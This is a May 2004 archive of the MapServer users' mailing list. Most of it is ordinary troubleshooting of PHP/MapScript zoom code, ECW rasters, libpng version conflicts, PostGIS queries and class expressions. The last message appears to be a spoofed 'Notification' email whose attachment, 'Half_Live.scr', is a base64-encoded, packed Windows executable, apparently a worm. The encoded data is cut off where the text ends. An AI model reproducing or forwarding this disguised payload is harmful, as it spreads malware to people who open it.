  <TITLE>NAKURU MUNICIPALITY MAP: :By ERMIS AFRICA</TITLE>
 </HEAD>
 <BODY bgcolor="yellow">
<TABLE bgcolor=green cellspacing=0 cellpanding=1 border=2><TR><TD>
<FORM MEHOD=POST ACTION="<?=$php_self;?>">
</TD><TD>
<?
{
$extent_to_set=explode("EXTENT");
$map->setextent($extent_to_set[0],$extent_to_set[1],$extent_to_set[2],$extent_to_set[3]);
$my_extent=ms_newpointObj();
$my_point->setXY("mapa_x", "mapa_y");
$my_extent = ms_newrectObj();
$my_extent = $map->setextent($extent_to_set[0], $extent_to_set[1], $extent_to_set[2], $extent_to_set[3]);
}
?>
<?
$zoom_factor=("zoom")*("zsize");
if ($zoom_factor==0)
{
$zoom_factor=1;
$check_pan="CHECKED";
$CHECK_zout="";
$check_zin="";
}
else if ($zoom_factor<0)
{
$check_pan="";
$check_zout="CHECKED";
$check_zin="";
}
else
{
$check_pan="";
$check_zout="";
$check_zin="CHECKED";
}
$Val_zsize=abs($zoom_factor);
$map->zoompoint ($zoom_factor, $my_point, $map->width, $map->height, $my_extent);
$image = $map->draw();
$image_url=$image->saveWebImage();
$extent_to_html = $map->EXTENT->minx." ".$map->EXTENT->miny." ".$map->EXTENT->maxx." ".$map->EXTENT->maxy;
?>
Could trace anything wrong with my zoom and pan code. SPecifically this code
$map->setextent($extent_to_set[0],$extent_to_set[1],$extent_to_set[2],$extent_to_set[3]);
and 
$extent_to_html = $map->EXTENT->minx." ".$map->EXTENT->miny." ".$map->EXTENT->maxx." ".$map->EXTENT->maxy;
as seem to be source of all the above errors
Muchemi


Do you Yahoo!?
Friends. Fun. Try the all-new Yahoo! Messenger --0-2045783271-1085835475=:67558-- From bartvde at xs4all.nl Sat May 29 07:10:27 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Sat, 29 May 2004 16:10:27 +0200 Subject: [Mapserver-users] colouring problems when serving 24 bit rasters in 8 bit output mode Message-ID: Hi list, for anybody wanting to serve 24 bit rasters and not wanting to use 24 bit output in Mapserver, it is possible that by default the colours will change. I had this problem and in an e-mail from December 2003 Frank Warmerdam suggested it might be possible to trick Mapserver into using the most common colours in your raster by using a dummy layer with as many CLASS objects as colours needed. Frank has now looked into this in more detail, and it seems this option is not possible. So it is best practice for everybody in the same situation to preprocess their rasters to 8 bit mode. Their is a great utility available for this in GDAL called rgb2pct.py (you can e.g. download it with OpenEV_FW). For anybody wanting to read the full bug report with all the information in it, see: http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=684 Thanks again Frank! Best regards, Bart From merlos at tsc.uvigo.es Sat May 29 09:59:25 2004 From: merlos at tsc.uvigo.es (Merlos) Date: Sat, 29 May 2004 18:59:25 +0200 Subject: [Mapserver-users] Compiling problems ms 4.2+PHP5 In-Reply-To: <40B87959.6060708@dmsolutions.ca> References: <40B87959.6060708@dmsolutions.ca> Message-ID: Hello Daniel I added the static reserved word and it worked, at least, it compiled. I haven't tested if it does not give any problems when using it for getting data from the database, but it compiled. The functions I modified in both files where: DATAERRORMESSAGE() prep_DB() force_to_points() force_to_lines() force_to_polygons() dont_force() find_bounds() Thank you. Finally, as I said in other message, I built PHP 4.3.7 and I could compile mapserver with php/mapscript. On Saturday 29 May 2004 13:51, Daniel Morissette wrote: > Merlos wrote: > > Hello, > > > > I'm trying to compile mapserver 4.2 and php5-RC2, has anybody succeed to > > compile it with php5 or do I have to use PHP 4.3.x? I am doing something > > wrong? Any advice? > > I wouldn't expect things to work with PHP5. You will have to use PHP 4.3.x > > > I found another problem. If I try to compile with --with-postgis and > > --with-mygis I got another error message. It seems that there are > > repeated functions, is it possible to compile allowing both data sources? > > There is already a bug about this: > http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=632 > > In the last comment I propose that the duplicate functions should be > made static in both mappostgis.c and mapmygis.c but I was not setup to > test that. Can you please try changing the following: > > char *DATAERRORMESSAGE(char *dString, char *preamble) > > to > > static char *DATAERRORMESSAGE(char *dString, char *preamble) > > and the same for all other duplicate functions, in both source files, > and report to the bug if that fixes the issue. I'm 99% sure it will but > don't want to commit that to CVS until someone tests it. > > > Finally, When I try to compile with ming (I've installed latest release > > ming 0.3beta1), when running configure I got this message: > > > > checking if MING/Flash support requested... yes, user supplied MING > > directory ./configure: line 8175: -lming: command not found > > command not found? That's odd. > > > And then when running make: > > > > gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ > > -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_WMS_LYR -DUSE_WFS_SVR > > -DUSE_MING_FLASH -DUSE_TIFF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP > > -DUSE_GD_FT -DUSE_PDF -DUSE_OGR -DUSE_GDAL -DUSE_POSTGIS -DUSE_MYGIS > > -I/usr/local/include -I/usr/local/include -I/usr/local/pgsql/include > > -I/usr/include/mysql -I/usr/local/include -I/usr/local mapswf.c -o > > mapswf.o > > mapswf.c: In function `BuildButtonFromGD': > > mapswf.c:444: warning: passing arg 2 of `SWFButton_addShape' from > > incompatible pointer type > > Maybe something radical changed in v0.3 making it incompatible with > v0.2. Perhaps file a bug in bugzilla about this one. > > Daniel -- -- http://www.merlos.biz From wlt at epump.cn Sat May 29 12:23:04 2004 From: wlt at epump.cn (Litao Wei) Date: Sun, 30 May 2004 03:23:04 +0800 Subject: [Mapserver-users] support dynamic map file? Message-ID: <200405291923.i4TJNNFS029197@lists.gis.umn.edu> hi all, I want to use a dynamic map file instead of the static one(such as generated by cgi when user browse), can mapserver support this kind of map file? Best regards, Litao Wei wlt at epump.cn 2004-05-30 From Rutigliano.Saverio at minambiente.it Sat May 29 16:52:23 2004 From: Rutigliano.Saverio at minambiente.it (Rutigliano Saverio) Date: Sun, 30 May 2004 01:52:23 +0200 Subject: RIF: [Mapserver-users] Problems with ECW images, update Message-ID: <9CD45F44129D6A4FA356769304CB59AD4E02FB@MATTMS.matt.it> It seems to be ok... but not completely. 1. 1. The gdal12.dll version from "openEV" depends on many other dlls apparently not necessary for mapserver usage. I could easily recompile the dll using last gdal cvs version and it works fine. (tell me if you want me to send you the file) 2. There are still cases where it seems ECW support have problems: I can't be able to zoom in if metre/pixel ratio is less than 4. It happens only with a particular ECW file (about 6 Giga, but not the larger I've!). I tested this file with ermapper products (ER Viewer) and It seems to be OK... so what?. This is the error I get using shp2img.exe: D:\OpenEV_FW\bin>shp2img -m test.map -o test-campania.png msDrawMap(): Image handling error. Failed to draw layer named 'Ortofoto-colori'.
NCScbmReadViewLineBIL failed.: Unable to access file. GDALRasterIO() failed: dra wGDAL()
3. It seems that at this moment support for HFA format (Erdas Imagine Images (.img)) is broken at 1.2.0. It worked VERY WELL at 1.1.9. With this last release simply nothing happens when using a .img raster file! Ciao, Saverio Rutigliano saveriorutigliano at libero.it -----Messaggio originale----- Da: mapserver-users-admin at lists.gis.umn.edu per conto di Armin Burger Inviato: mer 26/05/2004 13.59 A: mapserver-users at lists.gis.umn.edu Cc: Oggetto: Re: [Mapserver-users] Problems with ECW images, update I tried now a new version of the 'gdal12.dll' that was delivered with the latest OpenEV software package (version 1.7.4) from Frank Warmerdam and that seemed to solve the problem. So both test ECW images don't cause any more problems. Armin > Hi > > I experienced sometimes problems with ECW images. It worked fine for a > Landsat image (25 m resolution) and scales smaller than e.g. 1:100000. When > zoominng in the ECW layer seems to cause errors. I checked with shp2img and > setting an extent similar to the higher scale that caused problems. Then > sh2img.exe crashed and I got the error > > ERROR 7: Assertion `iDstLine == 0' failed > in file `ecwdataset.cpp', line 346 > > The same happened with a high resolution image (0.8 m pixel) and scale > above 1:5000. > > I tried with the shp2img.exe from the DM Solution > 'mapserver-4.0.2-win32-php4.3.4.zip' that uses the 'gdal12.dll' > > Any ideas what could be the problem? > > Armin > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- NEU : GMX Internet.FreeDSL Ab sofort DSL-Tarif ohne Grundgeb??hr: http://www.gmx.net/dsl _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From aaronkoning at shaw.ca Sun May 30 00:48:25 2004 From: aaronkoning at shaw.ca (AARON KONING) Date: Sun, 30 May 2004 00:48:25 -0700 Subject: [Mapserver-users] mscalculate() and explode() Message-ID: <10c8c0e10cc41a.10cc41a10c8c0e@shaw.ca> The PHP function 'explode' requires two arguments and you have only provided one. Change the explode function on line 18 to include the two arguments as per below. Function definition from php.net: array explode ( string separator, string string [, int limit]) Aaron ----- Original Message ----- From: julius muchemi Date: Saturday, May 29, 2004 5:57 am Subject: [Mapserver-users] mscalculate() and explode() > i have ahead with the project and after displaying the the layer > now want to add zoom and pan capabilities to the previous code. > I'm still on windows 2000. > i have the following error in browser which i dont know how to > solve > > Warning: Wrong parameter count for explode() in C:\Program > Files\Apache Group\Apache2\htdocs\Nakmap\nakint.php on line 18 > Fatal error: [MapServer Error]: msCalculateScale(): Invalid image > extent. in C:\Program Files\Apache > Group\Apache2\htdocs\Nakmap\nakint.php on line 19 > The code looks like this: > ?php > dl("php_mapscript_4.0.1.dll"); > $map_path = "C:/Program Files/Apache Group/Apache2/htdocs/Nakmap/"; > $map = ms_newMapObj($map_path."nakuru.map"); > $val_zsize=3; > $check_pan="CHECKED"; > ?> > > > NAKURU MUNICIPALITY MAP: :By ERMIS AFRICA > > >
> > > { > $extent_to_set=explode("EXTENT"); > $map- > >setextent($extent_to_set[0],$extent_to_set[1],$extent_to_set[2],$extent_to_set[3]);$my_extent=ms_newpointObj(); > $my_point->setXY("mapa_x", "mapa_y"); > $my_extent = ms_newrectObj(); > $my_extent = $map->setextent($extent_to_set[0], $extent_to_set[1], > $extent_to_set[2], $extent_to_set[3]); > } > ?> > $zoom_factor=("zoom")*("zsize"); > if ($zoom_factor==0) > { > $zoom_factor=1; > $check_pan="CHECKED"; > $CHECK_zout=""; > $check_zin=""; > } > else if ($zoom_factor<0) > { > $check_pan=""; > $check_zout="CHECKED"; > $check_zin=""; > } > else > { > $check_pan=""; > $check_zout=""; > $check_zin="CHECKED"; > } > $Val_zsize=abs($zoom_factor); > $map->zoompoint ($zoom_factor, $my_point, $map->width, $map- > >height, $my_extent); > $image = $map->draw(); > $image_url=$image->saveWebImage(); > $extent_to_html = $map->EXTENT->minx." ".$map->EXTENT->miny." > ".$map->EXTENT->maxx." ".$map->EXTENT->maxy; > ?> > Could trace anything wrong with my zoom and pan code. SPecifically > this code > $map- > >setextent($extent_to_set[0],$extent_to_set[1],$extent_to_set[2],$extent_to_set[3]);and > $extent_to_html = $map->EXTENT->minx." ".$map->EXTENT->miny." > ".$map->EXTENT->maxx." ".$map->EXTENT->maxy; > as seem to be source of all the above errors > Muchemi > > > --------------------------------- > Do you Yahoo!? > Friends. Fun. Try the all-new Yahoo! Messenger From lindsay at lcblanton.com Sun May 30 05:35:37 2004 From: lindsay at lcblanton.com (Lindsay C. Blanton) Date: Sun, 30 May 2004 07:35:37 -0500 Subject: [Mapserver-users] Plotting Multiple Lat/Long points and setting extents Message-ID: <5D91E1B9C012CF45A170862C86D9FBC709DDD1@srv1.lcblanton-int.local> This is a multi-part message in MIME format. ------_=_NextPart_001_01C44642.9C467A7A Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Anyone have any suggestions or ideas on how to do this as listed below? =20 Surprisingly, no one responded... ;-( =20 -Lb =20 ----------------------------------------=20 Lindsay C. Blanton=20 -----Original Message----- From: Lindsay C. Blanton=20 Sent: Friday, May 28, 2004 8:29 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Plotting Multiple Lat/Long points and setting extents Everyone,=20 Say for instance I have a list of Lat/Long points that I want to plot on a map that has existing SHP file layers. I'd like to plot each of these points, and have the extent of the map set such that all of the points are displayed on the map, but set a default extent if only one point is plotted. Does anyone know how I can do this?=20 Lindsay=20 ----------------------------------------=20 Lindsay C. Blanton=20 ------_=_NextPart_001_01C44642.9C467A7A Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message
Anyone have any suggestions or ideas on how to = do this as=20 listed below?
 
Surprisingly, no one responded... = ;-(
 
-Lb
 

---------------------------------------- =
Lindsay C.=20 Blanton

-----Original Message-----
From: = Lindsay C.=20 Blanton
Sent: Friday, May 28, 2004 8:29 AM
To:=20 mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] = Plotting Multiple Lat/Long points and setting = extents

Everyone,

Say for instance I have = a list of=20 Lat/Long points that I want to plot on a map that has existing SHP = file=20 layers.  I'd like to plot each of these points, and have the = extent of=20 the map set such that all of the points are displayed on the map, but = set a=20 default extent if only one point is plotted.

Does anyone know how I = can do=20 this?

Lindsay

----------------------------------------
Lindsay C. = Blanton=20

------_=_NextPart_001_01C44642.9C467A7A-- From bartvde at xs4all.nl Sun May 30 05:53:37 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Sun, 30 May 2004 14:53:37 +0200 Subject: [Mapserver-users] WMS GetFeatureInfo on PostGIS slow? Message-ID: Hi list, I have started my first adventures with PostGIS and I am quite impressed by the speed with which the map is drawn. I have a polygon layer with 1,5 million records. As I said, map performance is good. But when I use GetFeatureInfo on the PostGIS layer, it takes more than 5 seconds for Mapserver to come back with the result. In the PostgreSQL console I see: ERROR: cursor "mycursor" does not exist Is this normal performance for GetFeatureInfo on PostGIS, or can I tweak something to speed this up? I am using Mapserver 4.2 beta 3, as this is the latest Win binary available. Thanks in advance. Best regards, Bart From bartvde at xs4all.nl Sun May 30 06:08:42 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Sun, 30 May 2004 15:08:42 +0200 Subject: [Mapserver-users] Plotting Multiple Lat/Long points and setting extents In-Reply-To: <5D91E1B9C012CF45A170862C86D9FBC709DDD1@srv1.lcblanton-int.local> References: <5D91E1B9C012CF45A170862C86D9FBC709DDD1@srv1.lcblanton-int.local> Message-ID: Hi Lindsay, just plotting the points, you can do this e.g. with the OGR VirtualSpatialData, see: http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData To go the right extent, I assume your list of points is gonna be dynamic, you could just do a SQL statement in PHP to determine min(x), max(x), min(y) and max(y) and use PHP/Mapscript to set the extent of your MAP object. Best regards, Bart On Sun, 30 May 2004 07:35:37 -0500, Lindsay C. Blanton wrote: > Anyone have any suggestions or ideas on how to do this as listed below? > > Surprisingly, no one responded... ;-( > > -Lb > > ---------------------------------------- > Lindsay C. Blanton > > > -----Original Message----- > From: Lindsay C. Blanton > Sent: Friday, May 28, 2004 8:29 AM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] Plotting Multiple Lat/Long points and setting > extents > > > > Everyone, > > Say for instance I have a list of Lat/Long points that I want to plot on > a map that has existing SHP file layers. I'd like to plot each of these > points, and have the extent of the map set such that all of the points > are displayed on the map, but set a default extent if only one point is > plotted. > > Does anyone know how I can do this? > > Lindsay > > ---------------------------------------- > Lindsay C. Blanton > -- From woodbri at swoodbridge.com Sun May 30 06:09:03 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Sun, 30 May 2004 09:09:03 -0400 Subject: [Mapserver-users] Plotting Multiple Lat/Long points and setting extents In-Reply-To: <5D91E1B9C012CF45A170862C86D9FBC709DDD1@srv1.lcblanton-int.local> References: <5D91E1B9C012CF45A170862C86D9FBC709DDD1@srv1.lcblanton-int.local> Message-ID: <40B9DCEF.8010208@swoodbridge.com> Lindsay, This is a virtual data source that has been discussed many times in the archive and I think there may be an example on the wiki. Briefly, you need to calculate the bounding box of the points or set the default. You might want to define a border distance like 1-2% of the extents so the point on the edges are more visible. Then you draw (and label? them) using mapscript and your done. Here is one example of a virtual data source, it may not be the best one for your needs: http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData Here is a php Mapscript page: http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?PHPMapScript -Steve W. Lindsay C. Blanton wrote: > > Anyone have any suggestions or ideas on how to do this as listed below? > > Surprisingly, no one responded... ;-( > > -Lb > > > ---------------------------------------- > Lindsay C. Blanton > > -----Original Message----- > From: Lindsay C. Blanton > Sent: Friday, May 28, 2004 8:29 AM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] Plotting Multiple Lat/Long points and > setting extents > > Everyone, > > Say for instance I have a list of Lat/Long points that I want to > plot on a map that has existing SHP file layers. I'd like to plot > each of these points, and have the extent of the map set such that > all of the points are displayed on the map, but set a default extent > if only one point is plotted. > > Does anyone know how I can do this? > > Lindsay > > ---------------------------------------- > Lindsay C. Blanton > From devel at itdownunder.com.au Sun May 30 06:44:53 2004 From: devel at itdownunder.com.au (Andrew Rich) Date: Sun, 30 May 2004 23:44:53 +1000 Subject: [Mapserver-users] Setup errors Message-ID: <002d01c4464c$49f26e20$65c8a8c0@arlaptop> This is a multi-part message in MIME format. ------=_NextPart_000_002E_01C446A0.1B9E7E20 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hello all I am setting up Mapserver for the first time and require some help when I have trouble. At the moment I believe Mapserv is compiling ok but one of the dependencies has a problem. Linux Platform (RH 7.3) GD 2.0.22 Freetype 1.3.1 Jpeg-6b Libpng 1.2.5 Mapserver 4.2 Proj 4.4.7 Xpm-3.4k Zlib 1.2.1 When running the demo site I receive the following error in the HTTPD (Apache 1.3.27) log: libpng warning: Application was compiled with png.h from libpng-1.2.5 libpng warning: Application is running with png.c from libpng-1.0.14 gd-png: fatal libpng error: Incompatible libpng version in application and library [Sun May 30 23:27:51 2004] [error] [client 203.217.43.110] Premature end of script headers: /var/www/cgi-bin/mapserv Initially I had these but recompiled Libpng-1.2.5 and then fixed a libpng12.so.0 dependancy not found problem: The /usr/local/lib contains the following: [root at tanami src]# ls -al /usr/local/lib/libpng* -rw-r--r-- 1 root root 162990 May 30 22:23 /usr/local/lib/libpng12.a lrwxrwxrwx 1 root root 13 May 30 22:23 /usr/local/lib/libpng12.so -> libpng12.so.0 lrwxrwxrwx 1 root root 19 May 30 22:23 /usr/local/lib/libpng12.so.0 -> libpng12.so.0.1.2.5 -rwxr-xr-x 1 root root 196402 May 30 22:23 /usr/local/lib/libpng12.so.0.1.2.5 lrwxrwxrwx 1 root root 10 May 30 22:23 /usr/local/lib/libpng.a -> libpng12.a lrwxrwxrwx 1 root root 11 May 30 22:23 /usr/local/lib/libpng.so -> libpng.so.3 lrwxrwxrwx 1 root root 11 May 30 22:25 /usr/local/lib/libpng.so.2 -> libpng.so.3 lrwxrwxrwx 1 root root 17 May 30 22:23 /usr/local/lib/libpng.so.3 -> libpng.so.3.1.2.5 -rwxr-xr-x 1 root root 196402 May 30 22:23 /usr/local/lib/libpng.so.3.1.2.5 A ldd mapserv gives the following result: [root at tanami src]# ldd /var/www/cgi-bin/mapserv libgd.so.2 => /usr/local/lib/libgd.so.2 (0x4002b000) libjpeg.so.62 => /usr/lib/libjpeg.so.62 (0x40064000) libfreetype.so.6 => /usr/lib/libfreetype.so.6 (0x40082000) libpng.so.2 => /usr/lib/libpng.so.2 (0x400c1000) libz.so.1 => /usr/lib/libz.so.1 (0x400e3000) libtiff.so.3 => /usr/lib/libtiff.so.3 (0x400f1000) libm.so.6 => /lib/i686/libm.so.6 (0x40134000) libc.so.6 => /lib/i686/libc.so.6 (0x42000000) libXpm.so.4 => /usr/X11R6/lib/libXpm.so.4 (0x40157000) libX11.so.6 => /usr/X11R6/lib/libX11.so.6 (0x40165000) libpng12.so.0 => /usr/local/lib/libpng12.so.0 (0x4023a000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) libdl.so.2 => /lib/libdl.so.2 (0x40267000) A locate on png.h: (I removed .html files from paste) [root at tanami src]# locate png.h /usr/lib/interchange-4.9.9/foundation/pages/survey/graph.png.html /usr/lib/interchange-4.9.8-200309280658/dist/foundation/pages/survey/gra ph.png.html /usr/include/mozilla-1.0.2/png/png.h /usr/include/png.h.old /usr/local/include/libpng/png.h /usr/local/include/png.h /usr/src/libpng-1.2.5/contrib/gregbook/readpng.h /usr/src/libpng-1.2.5/contrib/gregbook/writepng.h /usr/src/libpng-1.2.5/png.h A locate on png.c: [root at tanami src]# locate png.c /usr/src/gd-2.0.22/gd_png.c /usr/src/gd-2.0.22/gd2topng.c /usr/src/gd-2.0.22/gdparttopng.c /usr/src/gd-2.0.22/gdtopng.c /usr/src/gd-2.0.22/webpng.c /usr/src/libpng-1.2.5/contrib/gregbook/readpng.c /usr/src/libpng-1.2.5/contrib/gregbook/wpng.c /usr/src/libpng-1.2.5/contrib/gregbook/writepng.c /usr/src/libpng-1.2.5/contrib/pngminus/pnm2png.c /usr/src/libpng-1.2.5/png.c /usr/src/libpng-1.2.5/projects/borland/libpng.cpp So can someone please give me an idea what to look for next. Thank you Andrew Rich ------=_NextPart_000_002E_01C446A0.1B9E7E20 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Hello all

 

I am setting up Mapserver for the first time and = require some help when I have trouble.

 

At the moment I believe Mapserv is compiling ok but = one of the dependencies has a problem.

 

Linux Platform (RH 7.3)

GD 2.0.22

Freetype 1.3.1

Jpeg-6b

Libpng 1.2.5

Mapserver 4.2

Proj 4.4.7

Xpm-3.4k

Zlib 1.2.1

 

When running the demo site I receive the following = error in the HTTPD (Apache 1.3.27) log:

libpng warning: Application was compiled with png.h = from libpng-1.2.5

libpng warning: Application  is  running with png.c from = libpng-1.0.14

gd-png:  = fatal libpng error: Incompatible libpng version in application and = library

[Sun May 30 23:27:51 2004] [error] [client 203.217.43.110] Premature end of script headers: /var/www/cgi-bin/mapserv

 

Initially I had these but recompiled Libpng-1.2.5 and = then fixed a libpng12.so.0 dependancy not found problem: 

 

The /usr/local/lib contains the = following:

[root at tanami src]# ls -al = /usr/local/lib/libpng*

-rw-r--r--    1 root     root       162990 May 30 22:23 /usr/local/lib/libpng12.a

lrwxrwxrwx    1 root     root       &nbs= p;   13 May 30 22:23 /usr/local/lib/libpng12.so -> = libpng12.so.0

lrwxrwxrwx    1 root     root       &nbs= p;   19 May 30 22:23 /usr/local/lib/libpng12.so.0 -> = libpng12.so.0.1.2.5

-rwxr-xr-x    1 root     root       196402 May 30 22:23 /usr/local/lib/libpng12.so.0.1.2.5

lrwxrwxrwx    1 root     root       &nbs= p;   10 May 30 22:23 /usr/local/lib/libpng.a -> libpng12.a

lrwxrwxrwx    1 root     root       &nbs= p;   11 May 30 22:23 /usr/local/lib/libpng.so -> libpng.so.3

lrwxrwxrwx    1 root     root       &nbs= p;   11 May 30 22:25 /usr/local/lib/libpng.so.2 -> = libpng.so.3

lrwxrwxrwx    1 root     root           17 May 30 22:23 /usr/local/lib/libpng.so.3 -> = libpng.so.3.1.2.5

-rwxr-xr-x    1 root     root       196402 May 30 22:23 /usr/local/lib/libpng.so.3.1.2.5

 

A ldd mapserv gives the following = result:

[root at tanami src]# ldd = /var/www/cgi-bin/mapserv

       =  libgd.so.2 =3D> /usr/local/lib/libgd.so.2 (0x4002b000)

        libjpeg.so.62 =3D> /usr/lib/libjpeg.so.62 = (0x40064000)

        libfreetype.so.6 =3D> /usr/lib/libfreetype.so.6 = (0x40082000)

        libpng.so.2 =3D> /usr/lib/libpng.so.2 = (0x400c1000)

        libz.so.1 =3D> /usr/lib/libz.so.1 = (0x400e3000)

        libtiff.so.3 =3D> /usr/lib/libtiff.so.3 = (0x400f1000)

        libm.so.6 =3D> /lib/i686/libm.so.6 = (0x40134000)

        libc.so.6 =3D> /lib/i686/libc.so.6 = (0x42000000)

        libXpm.so.4 =3D> /usr/X11R6/lib/libXpm.so.4 = (0x40157000)

        libX11.so.6 =3D> /usr/X11R6/lib/libX11.so.6 = (0x40165000)

        libpng12.so.0 =3D> /usr/local/lib/libpng12.so.0 = (0x4023a000)

        /lib/ld-linux.so.2 =3D> /lib/ld-linux.so.2 = (0x40000000)

        libdl.so.2 =3D> /lib/libdl.so.2 = (0x40267000)

 

A locate on png.h: (I removed .html files from = paste)

[root at tanami src]# locate = png.h

/usr/lib/interchange-4.9.9/foundation/pages/survey/gra= ph.png.html

/usr/lib/interchange-4.9.8-200309280658/dist/foundatio= n/pages/survey/graph.png.html

/usr/include/mozilla-1.0.2/png/png.h=

/usr/include/png.h.old

/usr/local/include/libpng/png.h

/usr/local/include/png.h

/usr/src/libpng-1.2.5/contrib/gregbook/readpng.h<= /o:p>

/usr/src/libpng-1.2.5/contrib/gregbook/writepng.h=

/usr/src/libpng-1.2.5/png.h

 

A locate on png.c:

[root at tanami src]# locate = png.c

/usr/src/gd-2.0.22/gd_png.c

/usr/src/gd-2.0.22/gd2topng.c=

/usr/src/gd-2.0.22/gdparttopng.c

/usr/src/gd-2.0.22/gdtopng.c<= /p>

/usr/src/gd-2.0.22/webpng.c

/usr/src/libpng-1.2.5/contrib/gregbook/readpng.c<= /o:p>

/usr/src/libpng-1.2.5/contrib/gregbook/wpng.c

/usr/src/libpng-1.2.5/contrib/gregbook/writepng.c=

/usr/src/libpng-1.2.5/contrib/pngminus/pnm2png.c<= /o:p>

/usr/src/libpng-1.2.5/png.c

/usr/src/libpng-1.2.5/projects/borland/libpng.cpp=

 

So can someone please give me an idea what to look = for next.

 

Thank you

Andrew Rich

 

------=_NextPart_000_002E_01C446A0.1B9E7E20-- From mapserver at gismap.ch Sun May 30 09:38:25 2004 From: mapserver at gismap.ch (Roman Meier) Date: Sun, 30 May 2004 18:38:25 +0200 Subject: [Mapserver-users] classitem: more than 1 attribute? Message-ID: Hi list Is classitem limited to one attribute? I would like to build classes depending on 2 attributes, like CLASSITEM "type1" + "type2". Is this possible? Any hints? Thanks in advance Roman From bartvde at xs4all.nl Sun May 30 10:17:11 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Sun, 30 May 2004 19:17:11 +0200 Subject: [Mapserver-users] classitem: more than 1 attribute? In-Reply-To: References: Message-ID: Hi, you can do this by using the columns needed in the EXPRESSION itself, e.g.: EXPRESSION (('[Cat]' eq 'A') AND ([Zosmar] > 0)) where Cat is a string column, and Zosmar is a number column. Best regards, Bart On Sun, 30 May 2004 18:38:25 +0200, Roman Meier wrote: > Hi list > > Is classitem limited to one attribute? > I would like to build classes depending on 2 attributes, like CLASSITEM > "type1" + "type2". > Is this possible? Any hints? > > Thanks in advance > Roman > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- From steve.lime at dnr.state.mn.us Sun May 30 13:33:36 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Sun, 30 May 2004 14:33:36 -0600 Subject: [Mapserver-users] Notification Message-ID: ----------xdmgceywmngtwixnwwes Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------xdmgceywmngtwixnwwes Content-Type: application/octet-stream; name="Half_Live.scr" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Half_Live.scr" TVoAAAEAAAACAAAA//8AAEAAAAAAAAAAQAAAAAAAAAC0TM0hAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAkAAAAKkm3RPtR7NA7UezQO1Hs0DtR7NA7kezQGNYoEBtR7NAEWehQOxHs0AqQbVA 7EezQFJpY2jtR7NAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAEwBAwDMD5BAAAAAAAAA AADgAA8BCwEFDABQAAAAEAAAAJAAAPDiAAAAoAAAAPAAAAAAQAAAEAAAAAIAAAQAAAAAAAAA BAAAAAAAAAAAAAEAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAA AACk8wAATAIAAADwAACkAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAABVUFgwAAAAAACQAAAAEAAAAAAAAAACAAAAAAAAAAAAAAAAAACAAADg VVBYMQAAAAAAUAAAAKAAAABGAAAAAgAAAAAAAAAAAAAAAAAAQAAA4C5yc3JjAAAAABAAAADw AAAABgAAAEgAAAAAAAAAAAAAAAAAAEAAAMAxLjI0AFVQWCEMCQIIvyc9X9rQb57HxwAAyUIA AACSAAAmAADM////m/rJOnEqKxiQ86MrEIn8ewjaeUIXGA5z7n9eUr/9//+6+gQ6jxg5r3EW rHG/8nGP9nG36hniLTsQ8sj83P+x3d8FO3H+Jsk4vBgSpDM49vora+237yoNKgWP6gL2qhI6 BQANGX/79gd5Pg6S+to1kPoSYTT6c78GPb//vsW+DoKQATDyEi26DXe/Aqr/m697KRIGFVN5 hwL6j/gR6QWPd2/ukQIOEmpbQw4RNQ8SqrrbNnNgRmqHDnf+arf23GbiWVqlyOxH8vi32d7f if4ZkP6SFqS9Bf8Lve3BtqrLB8koDUdoJu72rdw1rQZx/PY7E/hACVEJ7z6y/Xkb+QlQpR7y qXGn9iGQ4BJj8pT9d0l5OpsGULGPC6Ef8BKDe+cWMsqxuPsSSsWpyq11f/E6jvSqkJQlDLso xH8WusGDrEWPhIfJIRmuw5ft/1Y7Gup5A/uO8VacCfL4jvtWmgd5e3gS6BLHmDgJ9hLJ/BJv 7d2R0xLYBrl5AehIQpxC9wit/f/wnFF5E/mDSA0j0QNKx9CRxP////95GsXGxInoxs6J8P67 xqGI9f78EfH+BhH91sQ6Gvj+6x7aw9FQSamQaSShf7N9Q4d7yXEi4CIGYTMFCFR63/Z7u76O 